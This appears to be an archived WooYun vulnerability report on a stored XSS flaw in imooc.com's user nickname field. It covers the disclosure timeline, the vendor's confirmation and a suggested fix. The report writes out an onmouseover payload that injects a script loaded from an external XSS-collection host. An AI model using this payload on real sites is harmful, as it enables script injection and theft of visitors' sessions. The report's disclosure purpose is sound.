当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081314

漏洞标题:慕课网 xss

相关厂商:imooc.com

漏洞作者: 小乌云

提交时间:2014-10-30 14:34

修复时间:2014-12-14 14:36

公开时间:2014-12-14 14:36

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:14

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-30: 细节已通知厂商并且等待厂商处理中
2014-10-31: 厂商已经确认,细节仅向厂商公开
2014-11-10: 细节向核心白帽子及相关领域专家公开
2014-11-20: 细节向普通白帽子公开
2014-11-30: 细节向实习白帽子公开
2014-12-14: 细节向公众公开

简要描述:

用户头像显示时超链接中的title存在xss 或者 说是后台存储昵称时缺少验证

详细说明:

在用户的个人设置处,抓包修改我们的nickname

muke0.png


" onmouseover="alert(1)" alt="


在网站上每个头像处的title都会输出这个造成xss 如 问答处 消息处 有用户头像的地方基本都能触发
弹窗

muke3.png


外部脚本

" onmouseover="(function(e,d){e=document;d=e.createElement('script');d.src='//xssnow.com/FugI';e.body.appendChild(d)})()"a="


muke1.png


效果

muke2.png


虽然长度没有验证 但应该还有数据库字段的长度的样子 如果太长还是会设置失败的,但是利用来说是够了

漏洞证明:

muke3.png

修复方案:

后台对昵称的验证还是按照注册时的来吧2-18位 字母数字下划线吧 输出时转义双引号。 在这想给网站赞一个,网站的内容与功能都很适合初学者 在这学习 我也要在这学学了。之前发的1 2个问答可能影响了网站的学习气氛,不好意思了。

版权声明:转载请注明来源 小乌云@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-10-31 13:10

厂商回复:

确实存在此漏洞,感谢白帽子和乌云网站。

最新状态:

暂无


漏洞评价:

评论